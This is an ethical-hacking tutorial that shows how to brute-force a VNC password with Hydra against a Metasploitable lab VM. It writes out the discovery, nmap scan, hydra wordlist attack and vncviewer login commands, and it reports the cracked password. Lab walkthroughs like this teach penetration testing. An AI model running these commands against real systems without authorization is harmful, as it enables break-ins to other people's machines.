Cracking VNC Password Using Hydra

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Today we are going learn how to crack the password of VNC service using Hydra Tool. 

Disclaimer: The articles provided on HackWithV is purely for informational and educational purpose only, and for those who are willing and curious to know & learn about Ethical Hacking, Security and Penetration Testing. Anytime the word "Hacking" that is used on this site shall be regarded as Ethical Hacking.

What is VNC?

  • Virtual Network Computing (VNC) is a graphical desktop-sharing system that uses the Remote Frame Buffer protocol (RFB) to remotely control another computer. 

What is Hydra?

  • Hydra is a parallelized login cracker which supports numerous protocols to attack.
  • New modules are easy to add, beside that, it is flexible and very fast.
  • This tool gives researchers and security consultants the possibility to show how easy it would be to gain unauthorized access from remote to a system.

Practical:

  • Attacker: Kali Linux(OS), Hydra(Tool), Wordlist.
  • Victim: Metasploitable(OS), VNC Server.
 

 sudo netdiscover

  • Here we got the IP (192.168.137.187) of victim. Now lets scan for VNC service.
 nmap -sV -p 5900,5901 192.168.137.187

  • The nmap says that the victim is running VNC service. Now its time for cracking the password of VNC with the help of Hydra tool.
 hydra -help


 hydra -s 5901 -P passwords.txt -w 5 -t 1 192.168.137.187 vnc

  • Here,

        -s is to specify the port number

        -w is to wait 

        -t is number of tasks parallel

        -P is list of Passwords

  • Here we go, password is 87654321.
  • Now try to connect to VNC with these credentials.
    vncviewer 192.168.137.187:5901

    • Here we got remote login into victim machine using vncviewer.

     

    Be Aware, Be Secure.

    Thank You 🙏


    I'm a Cyber Security professional with expertise in Network, Application, Endpoint, Cloud Security, DevOps, and IT Ops. I have experience in various industries and am well-versed in relevant regulations and standards. My goal is to provide exceptional security solutions that protect organizations from evolving threats, while also streamlining workflows and improving collaboration between development, operations, and security teams through DevOps and IT Ops practices.

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